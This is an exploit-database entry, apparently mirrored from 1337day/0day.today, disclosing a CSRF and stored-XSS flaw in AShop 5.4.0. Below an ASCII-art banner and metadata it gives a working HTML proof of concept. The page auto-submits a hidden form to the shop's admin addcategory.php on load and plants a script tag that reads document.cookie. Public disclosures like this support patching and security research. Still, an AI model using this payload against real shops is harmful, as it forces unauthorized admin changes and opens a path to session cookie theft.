AShop 5.4.0 CSRF/XSS Vulnerability

2013-03-24T00:00:00
ID 1337DAY-ID-20562
Type zdt
Reporter DaOne
Modified 2013-03-24T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0                  I'm DaOne member from Inj3ct0r Team                 1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
##########################################
# Exploit Title: AShop 5.4.0 CSRF/XSS Vulnerability
# Date: 23-03-2013
# Author: DaOne aka Mocking Bird
# Vendor Homepage: http://www.ashopsoftware.com/
# Software Link: http://sourceforge.net/projects/ashop/
# Category: webapps/php
# Version: 5.4.0
##########################################

# Exploit/PoC
<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/admin/addcategory.php">
<input type="hidden" name="cat" value="0">
<input type="hidden" name="name" value="<script>alert(document.cookie)</script>"/>
<input type="hidden" name="nlanguage" value="any"/>
<input type="hidden" name="description" value="tst"/>
</form>
</body>
</html>

#  0day.today [2018-04-14]  #